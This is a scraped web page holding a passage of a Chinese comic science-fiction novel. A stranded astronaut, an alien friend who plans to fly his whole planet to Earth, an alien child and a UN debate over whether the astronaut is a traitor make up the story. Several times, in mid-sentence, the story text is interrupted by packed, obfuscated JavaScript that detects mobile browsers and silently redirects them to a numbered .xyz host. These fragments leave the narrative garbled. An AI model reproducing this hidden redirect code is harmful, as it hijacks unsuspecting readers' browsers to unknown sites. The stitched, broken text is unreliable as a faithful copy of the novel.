d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15474506|169480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又为什么和序言闹矛盾。只是,钟章暂时把果泥放在一个“年幼养弟”的位置上,去思考他与序言的关系。 “所以,你为什么和你哥哥生气呢?” 小果泥不说话了。 他开始玩自己的手指,眼睛一下一下瞄着钟章。 全世界小孩做了坏事都会露出这样心虚的表情。钟章小时候也是个调皮捣蛋鬼,看到小果泥这样,他迅速提高警惕,锁死这孩子可能跑掉的全部路线,攥紧秋裤预备随时给他套麻袋。 “为什么和你哥哥生气?”钟章逼问道:“如果是我的问题,我会和你说不起的。” 小果泥眼睛快速闪动几下,心虚得更明显了。 他趴在衣柜缝隙敲敲往外看,看到路过的机械摄像头,啪叽得缩小成一团。 “不可以告诉哥哥。”小果泥盯着钟章,认真考虑再一次信任坏东方红的可能性。良久,他慢吞吞挪动屁股,挪一下说半句话,“果泥想把你送给父父当礼物。” “但是哥哥说,父父已经去了很远的地方。” “所以,小果泥想要把你烧过去。这样按照东方红族的传统技术,你就会和雄父见面了。” 钟章心想,原来如此,真是个孝顺的好孩……嗯? “等一下。你是说‘捎过去’吗?哪个shao?” 还有,很远的地方是什么意思?是他想的哪个意思吗? 小果泥脑袋低垂到胸口,眼睛眨动频次更快一些,“嗯。就是用火呼啦呼啦刺啦刺啦的那个‘烧’。东方红族不是这样吗?这不是你们的传送技术吗?” 钟章目瞪口呆看着面前的阎王种子。 小果泥却越说越有底气,“父父不在好久了。果泥真的很想他。可是,哥哥不准果泥见父父。” 所以,思念父亲的小孩决定准备一个大礼包。 他要把捡到的东方红族烧过去,让对方帮自己找雄性的父亲。 “你答应过果泥。要帮过果泥找东西的。” “果泥想父父了。你要帮果泥找父父。” 小果泥眼睫毛快眨出残影来了。幼崽眼睛里只有纯洁的思念之情,但当祭品是自己时,钟章实在是没有办法对这父子之情感同身受。 “果泥。”钟章犹豫道:“有没有一种可能,你的父父已经……” 他止住话,看到墙壁上越来越高大的阴影。 序言站在他的背后。 “果泥。”外星朋友冷冰冰地说道:“过来。” “不要让我说第二遍。” * 地球,联合国第一次对外星联合会议正式召开。 各国代表在战争、饥荒、天灾等各种常规案例中终于见到了新东西。 “什么?” “你们说,按照这个信息传播速度,外星人的舰队三个月后就要降临地球?”某国代表掐指一对表,道:“如果消息属实,那我们就没有必要继续搜罗钟章先生存活的概率了。” 某国代表一握拳,胸有成竹道:“他活着也会被外星人俘获。如果外星人抓一个就足够,就把他当做祭品送出去。如果外星人抓一个还不满足,那就让钟章先生和我们里应外合,做一个优秀的双面间谍。” 钟章的老家人,坐在席位上的大国代表:…… 哇!!!人言否!!人言否?!! 我们家的宇航员是这么给你们霍霍的吗?是这样给外星人霍霍的吗? 18.第十八章 第十八章 钟章的娘家人、神秘的东方大国将不知好歹的某国代表臭骂一顿。 用词之文雅,内涵之丰富,形容之生动,令人叹为观止,令翻译口舌打结。 宇航员钟章虽然是他们队伍中备胎的备胎,但人都在太空上飘着了。总不能让孩子真一直飘着吧…… “你们说,钟章真的会遇到外星人吗?”训练基地里,好几个和钟章熟悉的同期没忍住猜测道:“真羡慕他。唉。能够见到外星人,我感觉死了也值了。” “说不定没死呢。” “也是。非要选择的话,我还是希望那小子活着回来。” “唉。你们说,那个小道消息里的‘球奸’有可能是钟章吗?” “那不可能。我们的思想道德课做得很好,钟章虽然门门课都不咋的,但是他的思想觉悟还是过关的。” “那个……”一直和钟章住在同个宿舍的训练搭子微弱打断话题,“我倒是不怀疑钟章的思想水平。我就是觉得他……他有点太能聊了。” 这,怎么说呢。 训练搭子想到自己第一天来到训练基地,钟章三下五除二勾搭他一起吃饭,不到一顿饭的功夫,他们从彼此的家乡聊到特产聊到小学聊到爹妈聊到应试教育的苦楚,两个人瞬间从同屋的陌生人变成异父异母的亲兄弟。 第三天,搭子甚至知道钟章小时候被老爹老妈吊着抽的混账往事。 因此,和其他人坚定相信钟章没有背叛人类不一样。 搭子觉得,话唠的钟章大概把老底快掏出来了。 ——聪明的外星人一定通过钟章那张破嘴,把整个人类世界摸个清楚。 ——钟章八成变球奸了! * 对此,钟章一无所知。 他在看外星人打孩子。 只见序言抓起那破抄网,一头抄过果泥的脑袋,一头当挑子抽果泥的屁股。那姿态虎虎生风,简直是在抡一个旋转的大风车。 钟章站在原地一动都不敢动。 因为小果泥嗷嗷呜呜从左边滚到右边,又从右边滚到左边,最后双手抓住钟章的脚踝,脑袋钻到钟章的□□处,一边哭一边用钟章的裤管当纸巾,擦得满脸都是凉粉眼泪。 “果!泥!”序言快要气炸了。他猛地挥动抄网棒,棍棒带风杀来,力度之可怕让钟章忍不住加紧了腿,小果泥哇呜一下叫起来,脸融化成一滩,覆盖住钟章的膝盖。 “哥哥哥哥呜哥哥。”小果泥哀求道:“哥哥。不要不喜欢果泥。” 序言面无表情。 反倒是钟章激起了那套“孩子还小”的传统血统。 他尝试插入到其他人的家庭纠纷中,微弱地表态道:“伊西多尔。果泥就是……” 序言瞪了钟章一眼。 钟章哆嗦下,半个屁都不敢放,老老实实打开腿,揪出小果泥双手奉上。 小果泥快哭碎了。他不断从钟章手指缝中掉出来,又被钟章托着捡起来,对着哥哥序言那张臭脸,完全失去控制力。 “呜呜呜哥哥。哥哥果泥,果泥。” 序言一捞这小家伙,拧干水,拽着果泥走。孩子凄惨的哭声弄得钟章挺不是滋味的——小果泥一声不吭的失踪固然是序言生气的第一要素。可他那些“烧掉”的荒唐言论,何尝不是两种语言两种文化造成的笑话呢? 这在差异导致的文明交流早期很常见。 何必怪罪孩子呢? 钟章深吸一口气,强行挤出点笑容,“伊西多尔。我觉得……” 序言提着小果泥的后腿,用力抖了抖,抖出一个小小的黑色小盒子。他捡起这盒子,十分自然地大概盒子盖子:三米高的火焰从盒子中心喷射出来,警报器嗡嗡乱叫起来。 “……”被打断的钟章有种不好的预感,“这是什么?” “点燃火的机器。”序言解释着,继续抖抖幼崽的后肢,“他准备烤烤你。” 钟章看着熊熊燃烧的巨大火焰,汗水从额上滑落。也不知道是被烤热的,还是被吓出来了。 钟章:“伊西多尔。” 序言看过去,有些烦东方红族一而再再而三地打断自己揍小孩。 钟章:“我们的传统是用裤腰带抽孩子。你不要用手,手会疼。”说完,他解开自己的裤腰带,殷切地双手奉上七匹狼,“我可以代劳。” 二人的情谊在此忽然升温。 虽然很离谱,但面对一个到处捣乱的崽时,序言确实感觉到雄父说的“有人帮你总是好的。”他不需要一个人按着小果泥,也不需要一个人焦心要拿这孩子怎么办,更不需要在忏悔、懊悔、悲伤之中反复无常。 因为脆皮钟章在边上提供了丰富的情绪价值。 每当序言觉得差不多该结束的时候,钟章就无常提供一个自己小时候被吊起来打的故事:语言不通不是问题,故事细节不足不是问题,钟章丰富的肢体表演和充沛的情绪让序言精准把握核心。 “伊西多尔,我和你说。我和我姐小时候也玩摔炮,然后我们两把自己裤子点着了。两个一块跳臭水坑。我裤子都烧出两个大洞,屁股都露出来了。”钟章回忆往昔,“我姐浑身湿漉漉的。我就把我那条破裤子给我姐当裙子。我自己摘了点树叶盖住鸟跑回家。” “嗯。” “我妈我爸把我和我姐抽一顿。但没用,不够狠,我还是玩摔炮。” 序言别的不一定听明白。但他肯定听懂“打得不够狠,还犯”的核心概念,下手一次比一次狠。 小果泥哭得撕心裂肺。 被那抄网束缚住后,他似乎没有办法变成半液态跑掉,只能驮着网拼命挣扎。 “没有没有。果泥没有玩火火。” 钟章声情并茂地讲第二个故事,“真巧。我小时候也是这样。做坏事被发现之后,一定要说谎话——这就不得不提起我在班级里卖家长签名。我那时候拿硫酸纸模仿他们家长的签名,每次分不好的人都可以到我这里下单——只签名字一元钱,改分数要两块钱。没有钱的可以去我姐那借高利贷,今天借一元钱,明天还一元五角。” 序言听不懂,他纯粹被钟章的声情并茂吸引。 “我们的生意才赚到50元,就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15480834|169480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出现对家。该死的,比不过我们就告老师。我和我姐又被抽一顿,,没收所有营业额。”钟章道:“不过这一战,我和我姐没有出卖任何一个客人。我们打出了名声,打出了信誉,打出了我们的事业。我们从地上转入地下,继续干坏事。还是打得不够狠。” 序言依旧只捕捉关键词。 “打得不够狠”“继续做坏事”。 他严肃地看着抄网里的果泥崽。小果泥早已听得两眼泪汪汪,“果泥没有呜呜呜哇呜呜呜坏闹钟。果泥什么都没有做,你才是大坏蛋。” “巧了。”钟章开始讲自己的第三个故事,“我小时候——” 小果泥嗷嗷大哭起来。到后面,他跟序言撒娇,自己知道错了绝对不会和钟章一样出尔反尔,变成不讲信用的坏小孩。 “果泥。果泥不会的。”小果泥嘴巴委屈成波浪状,眼泪大颗大颗掉在地上,“果泥。果泥会,会努力不去想父父的。哥哥不要丢掉果泥。” 大概是太累了,小果泥断断续续和序言表忠心后,就哭得关机了。 他本来就是个团子,此时此刻鼻子嘴巴那一块都哭得红红的,抱起来怪冰凉凉的。序言收起抄网,盯着果泥片刻,尚未想好要不要抱起这孩子。 果泥对他来说,并不是弟弟、翻译器那么简单的生物。 “我来抱他吧。”钟章上前一步,主动抱起湿哒哒的小果泥。他抱幼崽的姿势很笨拙,却仔细兜住幼崽的脸和屁股。哭到关机的小果泥还无意识在钟章怀里蹭了两下,眼泪全涂在钟章胸口。 序言不说话。 他在这个时候也不知道说什么,双眼避开钟章的视线,直勾勾盯着小果泥看。 “语言。”序言轻轻地说道:“语言,只有在果泥身边才可以,听得懂,你我。” 钟章刚刚说了那么多废话,充沛地表演那么多,也察觉到这一点。 序言继续道:“果泥不是翻译家。他是幼崽。” 钟章怀里哭唧唧的小果泥好像在睡梦中听到这句话,他吸吸鼻子,半张脸都埋在钟章怀里。序言走进去接住他,幼崽一下子滚到序言怀抱中,发出哼哼唧唧的无意识崽叫。 钟章静静地看这一幕,只觉得面前的外星朋友充满种无言的悲伤。 他不理解,也不需要在此时此刻自以为是的理解对方。 序言道:“我以前觉得他是个坏崽。现刚刚听完你的故事。谢谢你。” 钟章傻兮兮地擦鼻子,“哎呀能帮到你就好了……?” 等一下,好像有点不对劲。 序言道:“听到你小时候。我发现,原来还有更糟糕的崽。” “啊?” 序言毫无察觉地继续捅刀子,“果泥植入了我小时候的性格。还有一部分我弟弟的性格。我一直觉得他很糟糕。谢谢你。” 等等?这个谢谢是什么意思?钟章着急地想要报警。 下一秒,序言朝他投来枚巨大的信息炸弹,又让他完全顾不上什么坏崽不坏崽的琐事了。 “我们什么时候去你家?”序言道:“我的星球已经准备好了。” 19.第十九章 第十九章 序言是个蒙头做事的家伙。 除去和小果泥相处的时间,他和钟章聊得话题无非就三个。 “要不要送东方红回家”“怎么送”“怎么让脆皮东方红活得就一点。”中间可能带了点猜测,例如“这个词是什么意思”“原来如此,我已经理解东方红族的习俗”的自信。 钟章曾试图参与到一点稍微有科技含量的讨论中。 例如,他想知道自己如何回家?回家需要用到什么科学技术?自己的烛龙舱到底还有什么奇怪的功能?自己能不能学习一点外星理工科知识等等。 序言用一句话杀死了比赛。 “你听不懂。” 钟章:…… 序言道:“我说了,你也听不懂。” 钟章完全大破防了,高考上来的二本学生誓死捍卫东方红族的智商,“你先说。万一我听得懂呢?” 序言扫了钟章一眼,开始巴拉巴拉地说话。那些句子就像白开水经过筛子,来得快去得也快,什么都没有留下来。 等钟章反应过来时,序言已经说完了。他还好心提醒两眼懵的东方红族,“我说完了。” 原来,听不懂是指语言层面的听不懂吗? 钟章拒绝承认,这些知识就算翻译成中文,他也听不懂的可能性。 他请序言有空多和他说点他听得懂的知识。序言当场是答应,但三四次后,发现钟章真的是一点都没有带脑子的痕迹,他就再也不说了。 沉默的雌虫朋友选择自己捣鼓自己的研究。 他也不需要钟章有什么参与感,不需要告知钟章什么进度,蒙头就是干,干出成绩,迅速给钟章迎头一击。 “什么时候去你家?”序言问道:“我的星球已经准备好了。” 每一个字都是那么的熟悉,那么的亲切,组合在一起却成为钟章听不懂的内容。 序言的星球……要去地球?怎么去?直接上演小行星撞击地球,恐龙第二次灭绝吗? 哦。恐龙已经灭绝了,现在地球上住着人类。 人类会灭绝了吗? 钟章努力停止自己的脑洞,他扣手,询问道:“去我家。那个。请问是怎么去?” “开着星球过去。” 好熟悉的表达,难道这就是经典老电影《流浪地球》中的行星发动机吗?可是,地球人就算拍电影,也只敢说集体力量。序言你为什么能把开星球这件事情说得和开车一样简单? 基于电影给自己的印象,钟章颤巍巍举手提问,“是怎么开的?” “正常开啊。”序言不理解为什么东方红族要问这个蠢问题,“你们的文明难道不改造星球吗?” “没有没有。”钟章掰着手指数,“我们也改造星球环境的。” 我们植树造林,修建大坝,大搞基建。 我们很努力改造自己的生存环境呀。 “就是这样一回事啊。”序言不理解,钟章有什么好大惊小怪的。不过片刻,他也稍微理解钟章家的财力,“星球推进器确实很贵。我也只有12个,本来装了3个。为了加快速度,这几天又补了3个。” 上回在基因库那大闹一场,抽空又让几个机甲自动驾驶系统去暴揍仇家。序言感觉自己的藏身之处快要暴露了。 考虑到那些家伙的难缠程度,序言决定加快跑路的速度。 他倒不是害怕自己打不过那些家伙。 只是…… 序言扫了一眼脆皮东方红,发觉对方自从自己说完星球推进器这东西后,就一直大张着嘴巴,没忍住上前用手指戳下对方的脸。 “怎么了?”序言微微歪头,问道:“你们家不是可以改造星球了吗?” 难道连类似星球推进器的东西都没有? 这也有点太落后了吧。 序言其实不太希望去很落后的地方。他之前跟随雄父见过一些未开发星球土著。 那是有史以来,序言第一次反对雄父的工作。 他坚决不允许雄父去那么落后、那么没有素质的地方! 不过有钟章在前,序言觉得东方红族应该比自己上一次见过的星球土著好很多:他们科技发达,可以把自己的卫星改造成停车场;他们热衷管理自己星球的后花园,已经有成熟的改造星球环境技术;他们还对钟章那么调皮的幼崽如此纵容,可见道德水准和思想水准也不错。 这么一想,序言对钟章老家又充满信心。 他忽视钟章那飘逸的眼神,问道:“你在担心什么?嫌弃我的星球太小吗?” 天杀的!钟章哪里敢嫌弃!他只是微妙的察觉到自己好像和序言产生了一点认知上的小偏差—— 他不会在拐骗外星朋友吧?! “没有没有。我怎么会嫌弃你呢?”钟章内心千求万求祖国妈妈快点给自己回消息。 妈——妈呀,快给您在天上飞的儿砸支招啊。 祖国——妈妈,我亲爱的祖国妈妈,真的没有智囊团帮我一下吗? 序言上前一步,用清澈的眼瞳看着钟章,“你在担心。难道,你们那很苦吗?” “怎么会?”儿怎么能说母贫?钟章下意识反驳道:“我们那地大物博,兵力强壮,我们是东方红,我们要啥有啥,怎么会苦呢?” 序言没听懂。 不过经过他雄父留下的翻译词典,他大概理解下钟章说得那几个词汇。 地大物博,地方很大,东西很多。 那至少是好几个星球了,星球面积也相当大,吃的喝的物种都很丰富。 兵力强壮,能打架的很多,不过看钟章的身体素质,应该不是指他们的个人战力,应该是指他们的武器很厉害。 那至少是每家每户一颗核.弹护身吧。序言理所当然地想着,还觉得钟章这么弱,可能是因为他的武器都在太空中遗失了。 ——如此一想,脆皮钟章能够独自跑到这么远的地方,也变得合理起来了呢。 至于其他要啥有啥,就很好懂了。 序言对钟章的家乡很满意。 复古但不会和自己这里差距太大,应该只是部分科技不同,大家应该能很好当邻居。 他大方地和钟章介绍自己的出行计划,“我打算直接开着星球穿越冲动,然后在你们的太阳旁边,停下星球,暂时住下来。如果推力太大,可能需要你家里帮我弄一些陨石来停星球。” 钟章看着序言。 就是这样看着,他也不知道要说什么,难道要他说“对不起,伊西多尔,我家做不到吗?” 钟章做不到。 他努力地提议,“伊西多尔。我们那边的太空环境挺好的。而且,吸引陨石可能,我家不太行。” 序言理解了。 有些地方的主人很抠门,一些陨石都给得抠抠搜搜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15490413|169480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。他完全理解钟章家的不方便。 “我记得你们家是九颗大大的行星。”序言计划道:“如果真的不方便,我可以在第九个星球降速,慢慢滑行过去。你放心,我算数很好的。” 钟章微笑。 事情完全超出了他的认知。 他最开始真的只是想带一些外星特产回老家,如果外星朋友喜欢地球,可以来他那破三室一厅小住一段时间。 事情到底是怎么发展到星球碰碰车阶段的? 钟章想了想,忍住表情对序言提出一个要求:“我可以再和家里发个消息吗?” 他亲爱的伟大的祖国妈妈一定听到了他的回音,正在给他写消息。但钟章等不及了,序言超强大的行动力完全不在人类的想象范畴中。钟章完全不想把万事万物寄托在序言的道德水准上。 他需要外援!祖国妈妈快回您天上飞的儿的消息吧! 不是收到了吗?您的儿需要您啊。 * 天上,钟章满屏幕的喊妈,试图摇来一些人。 地球上,联合国会议正对他和他传来的上一次的消息表露态度。 回复? 还是沉默? “……第四号提案质询环节结束,现在进入投票环节。”主持会议的长者正了正话筒,手巾擦点额头上的汗,“提案主要解决两项问题。第一项,关于是否要继续寻找太空失踪的国际宇航员钟章。” “第二项,是否要回应北极外星人信息?” 在第四号提案之前,曾出过三版提案。 第一版本,主张钟章是人类叛徒,认为宇宙信号声音大概率就是钟章。他们必须马上进入钟章老家,进入钟章祖国相关太空机构,进行彻底的人类搜查,已杜绝该大国被外星文明腐蚀,从而危害全人类的可能性。 毫无疑问,这个方案被某东方大国否决了。 他们提出了自己的第二版提案。即,钟章并没有成为叛徒,在生死未定的情况下,当初联合多国对外探索的组织及众多国家必须出人出力寻找钟章,并彻查钟章升空前的机械设备、地面组、维修组。而对于这一则太空消息的来源,东方大国更加保守,提出暂时不回应,并建议组织多国语言学家、秘密学家、信息学家等科学家共同破译该信息。 这个方案也被否了。 第三号提案结合两者劣势,横空出世。 他结合前者的“钟章叛徒论”,又结合后者的“不回应并研究语言论”,遭到全票否决。 如今,轮到第四号提案时,所有人已经呈现出继续鏖战的执拗劲。多方都对彼此的底线有了认知,接下来就是死磨的状态。 “第四号提案,暂停所有搜索宇航员钟章的太空行动,暂时不回应太空信号,全球除必要科考的太空探索计划外,调动50%的设备全力搜索外星文明信息……” 宣读继续。 每一位代表都将手指放在投票钮上。 门外传来急促的脚步声,秘书小跑入场,文件夹里数张纸从中飞出,像一地乱糟糟的头纱。她俯下身,轻声对主持的老者说什么了什么,换来对方惊愕的表情。 “各位。” 各位代表的团队也陆陆续续收到消息。之前候场的团队成员们不顾阻拦,悄然入场,传递情报。 “各位。”老者不得不提高了音量,吸引所有人注意力,“宇宙朝我们发来了第二个信号。” 20.第二十章 第二十章 第二段音频依旧很长,但这一回所有人能够听清楚并听明白里面的内容。 因为失去语言翻译器的钟章在说中文。 不过碍于设备和距离,他传出来的声音有些断断续续,杂音和他过分激动的情绪真得太影响收听质量了。 地球上的众人用上一切手段只能听到“行星撞击地球”六个大字。 联合国一众中立代表齐刷刷看向东方大国和钟章叛徒论各代表所在的位置。 不敢蛐蛐,但能看看。 看看这两边要组织什么语言开始吵架。 “毫无疑问,宇航员钟章已经叛变了。”叛徒论这边毫无疑问开始乘胜追击,“他完全站在外星人那边。看看他激动的语气,一点都没有恐惧,只有攻陷地球的狂热。他甚至大意到透露出他们的攻击方式‘行星撞击地球’。” 东方大国这里组织下语言,开始一条一条反击。 “首先,我们暂时无法确认宇航员钟章是否判断。你方的论证大部分基于你方的想象,而非确实的证据。”东方代表犹豫片刻,还是尝试用想象力说服对方,“如果你方坚持宇航员钟章已经背叛全人类。我方还可以说钟章正尝试带回大量外星文明,娶一个外星媳妇。” 场面传出轻微的哄笑声。 稍后,一切又恢复到平静。 只不过一天半的中场休息时间后,三个不同的国家提交了对于第四号提案的补充协议。 休息时间结束后的七个半小时内,第四号提案通过。 “除了钟章母国外,其他国家统一停止对宇航员钟章的人道主义搜救。” “对待外星信号,全体人类不回应、不沟通的沉默模式。” “以联合国为发起方,建立‘全球外星语言破译组织’,根据两段外星信息展开研究。” “各国对太空的建设计划将不受任何条约限制。在人类共同的危机面前,我们将放下一切的矛盾、纠葛、战争。” 为了抵御人类可能面对的危机,联合国试图召唤巨大的团结的力量。 反正没有人管管等消息的钟章了。 28个小时过去。 序言逐渐失去耐心,他和钟章提议直接走,到他们家门口再说。 “再等等。”钟章道:“我家一定会给我发消息的。” 序言扫了眼信号收发器,非常直白地告诉钟章,“你家里不要你了。我们直接去。” 钟章两行泪差点掉下来了,“真的假的?这么快吗?” “嗯。”序言反问道:“等消息。为什么?你家里不方便?” 钟章想了想,觉得也没有那么不方便。 他只是担心“小行星撞击地球”这种事情发生。 “伊西多尔。我家比较脆弱。真的不会撞到吗?” 序言拍着胸脯保证道:“不会。” 然后,他提着钟章走到控制室,对脆皮东方红道:“那我们进行跳跃了。你在这里,安全。” 钟章超级大声地“啊?”了一声,还没有任何反应,序言扣动什么按键。钟章感觉自己脸上的肉都在震动,他试图说话,嗓子抖得发痒,每一句话都是带波浪的。 “伊~~西~多~尔~~~~~~等~等等一~~下。” 序言的声音四平八稳,“嗯?” “我~~~~我还没~有~准备~嘟嘟嘟~好。” 序言不按按键了,他拉动什么把杆一样的东西,对钟章什么准备好了没准好的话一点概念都没有。 就如他从不和钟章多提起自己的家庭、自己的过去那样。他只是做出一个决定,认定后就马上执行,并执拗地将其推行到底。 他没有寻求钟章或者其他朋友的帮助。 他始终是孤独的行动,孤独的做决定,在这孤独的深处是一种强烈的不信任和不确定。 序言决定去一个谁也不认识他,谁也找不到他的远方。 “你不死。”序言对钟章道:“很快到。” “可~~是。我~家~~~。” 序言觉得这确实是个问题,但他看钟章每天等消息也不是个事。他们那到东方红那么遥远,与其等一个具体的回话,不如快刀斩乱麻,先去把自己安定下来,再上门拜访。 看了一眼自己的星球小投影,序言坚定了这类想法。 他是自己带了房子过去的,又不住在钟章家里。 没什么好犹豫的。 况且,他说好了要送钟章回家。 序言下足决心,直接忽视钟章在背后金鱼吐泡泡一样“哦哦哦咦咦咦啊啊啊”,一口气将速度往上拉。 钟章最先感觉到自己身体微微前倾,座椅四面铺开一种蛛网状的条状物,将他死死拽住。接着一阵强烈的推背感迫使他向后倒,钟章整个脊椎都因恐惧完全贴紧椅背。 “伊~~~~~西多尔!!!!”钟章双手死死抠住椅背,应激地大叫,“慢点哦哦哦。” 序言走过来,手动合上钟章的嘴。 他道:“会咬到。”舌头这个词,他没说出来,而是自己伸出舌头,指了指。 钟章完全不知天地为何物了,努力睁开眼,勉强看清楚序言那点露在外面的舌头,下意识把自己的舌头又伸出来。 “不是。”序言摇摇头,上前一只手扼住钟章的下巴,另外一只手夹住钟章的舌头,往里面塞,“咬到。会疼。” 钟章被塞得干呕,感觉自己是正在被填食的鸭子。偏偏序言的手指顺势卡入他的嘴中,手指上那股淡淡的香味以及少量洗不掉的机油的味道混合起来,钟章眼泪都要掉下来了。 “呕。” 序言:“忍着。” 为了不让面前这个东方红在跳跃过程中咬伤他自己,序言允许对方咬自己的手指。他靠在钟章身侧,钳制住他下巴的手转变为按着钟章的脑袋,直直把对方按在自己的腹部和胸口下。 “难受,就靠着我。”序言道:“乖。” 他那个字好像有魔力,钟章用力眨眼数下,最终缓缓闭上眼。肚子里翻江倒海的恶心感也随着四周摇晃,逐渐消退。 四周平静下来。 跳跃结束了。 “很棒。”序言拍拍钟章的脑袋,哄道:“嘴巴——啊。” 钟章感觉自己经历了一场漫长的重点晕车。他长这么大还是第一次知道晕车的滋味,脸冷冰冰贴着序言的手,涎水沿着嘴角流得到处都是,什么仪容仪表完全忘在一边。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15493084|169480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >想吐又什么都吐出不出来。 “我。”我到家了吗?钟章想要问这般劫难是否结束,可他一动,舌头蹭到序言的手,后半截要说什么话都消散了。 “不急。”序言对东方红族的脆弱程度有了全新认知。他引导着钟章慢慢张开嘴,手上沾满钟章的口水也不嫌弃,“嘴巴——啊。” 钟章缓缓张开一点嘴。他看到自己舌头上拉出一条晶莹的长长的细丝,那细丝不知廉耻追着序言的手指跑,越来越细,越来越长,直至断裂后甩到他脖颈处,烫得钟章眼泪掉下来了。 “对。对不起。” 序言毫不在意,“没事。” 钟章咬他,连皮都没有咬破,周围也没有泛红。自己回去洗个手的事情,消毒都嫌多此一举。 他的免疫力可比钟章强太多了。 而眼瞧着因这点跳跃难受到哭哭唧唧的钟章,序言并没有过多犹豫,伸出手去擦拭钟章的脸颊,“去治疗,不哭。” 钟章视线却不自在的偏移,落在序言那截尚有浅浅虎牙印的指节上。 这是我咬的。 钟章心虚地侧过头,蹭了蹭序言的手心。感觉还是不够,他双手按住序言落在自己脸上的手,轻声抽噎,控制自己的不舒服。 “你也受伤了。” 序言道:“我比你强。” 钟章:…… 序言继续往脆皮东方红身上扎刀,“怕你死,我没有一次性开过去。现在是休息。” 钟章:…… 不好意思,我弱到要你开星球还要中途休息一下。 跑去擦脸、洗漱、找星际晕车药的钟章满心眼都是一种难以言喻的感觉。他偷偷观察序言是否有用什么药物,发现对方真的用水冲一下完事后,整个人对物种之间的差距有了更深刻的认识。 我居然被这样的神奇外星人喜欢吗?不对。钟章大脑一激灵,又觉得序言未必真的喜欢自己。 他早就推翻之前的“美人计”论调,现在占据他脑子的是“个人魅力论”。 只是,钟章觉得自己这个“个人魅力论”不一定是人与人之间的,他对序言的魅力可能是小猫咪对人类的魅力? 倍杀! 没有人类可以拒绝漂亮又粘人的小猫咪。同理,没有序言可以拒绝自己这样帅气又活泼又开朗的外星人形宠物。 ——听上去也挺合理的,就是有种当狗的既视感。 哎呀,不管了。 反正就这么个堪比可爱宠物的杀伤力,等回家和祖国妈妈商量一下。 钟章毫不怀疑祖国妈对自己的偏爱,离家越近,他便越展现出强大的依赖性,甚至想再打一个电话(发消息)回去,大声嚷嚷,“妈,我回来了。妈,我回来了。” 马上就可以回家了。 希望不要发生行星撞地球的惨案。钟章接了一杯温水,走到落地玻璃面前,目之所及是漆黑辽阔的宇宙,群星点点,却没有什么瑰丽的星云大展雄图。 眼前,是一片充斥着大型石块、未知武器残骸的小行星带。 “这是你来的地方。”序言端来两份热乎乎的蛋奶酥。他言简意赅地介绍,“我们叫这里戴遗苏亚。” 前往地球的虫洞通道就在附近。 21.第二十一章 第二十一章 “我就是在这里掉下来的吗?”钟章对自己怎么来到外星世界很好奇。 毕竟,他感觉自己就是经过一阵强烈的宇宙风暴、一阵更强烈的宇宙风暴,一阵把他完全吹跑掉的宇宙风暴——磅!撞到陨石。 然后。 磅!烛龙舱被撞坏。 磅!外出维修时一根铁棍扎入胸口。 噗!自己吐一大口血,垂死挣扎。 没了。 朴实无华的经历,没有任何拟声词之外的表述需求。非要描述,钟章觉得烛龙舱就是个架子鼓,自己则是鼓里的一只小虫子,外面咚咚打鼓,自己在里面咚咚挨打。 序言端给他一份蛋奶酥,两个人席地而坐,边吃边对着窗外的小行星带侃侃而谈,缺少关键字句也不影响他们之间的沟通。 “这里好远啊。感觉也没什么人。” “嗯。” “伊西多尔。那你怎么会跑到这里?” “我在这里出生。”序言舀一勺蛋奶酥。蛋奶酥松软,膨胀出来的部分很轻易被分开,软乎乎的,格外有食欲。他一边吃一边告诉钟章,“我经常会看看这里。” “原来如此。”钟章理解了,他道:“你真念旧。” “念旧?” “就是不舍得过去的事情和物品。经常会故地重游。”钟章松开勺子继续展开说明,“故地重游的意思,就是去自己曾经去过的地方再走一遍。我们那认为念旧的人都是感情很充沛、很会珍惜物品的人。” 序言看着钟章,片刻,转过头面向那些小行星带。 他身上那种粘稠的忧愁和无法释怀的沉默涓涓流淌出来,但很快因为钟章的存在被消解。 “伊西多尔。去了我家,你是不是很难回来了?” “嗯。” “那我们在这里多呆一会儿吧。”钟章提议道:“实在不行,我自己去也是可以的。” 序言道:“你很弱。” 钟章觉得自己的脆皮程度在序言这里是过不去了。他捂额痛惜,不过几秒就调节好自己的情绪,接受生理上的差距,礼貌地问一些自己好奇的问题。 “伊西多尔,穿越时我会被压缩成肉饼吗?” “不会。” 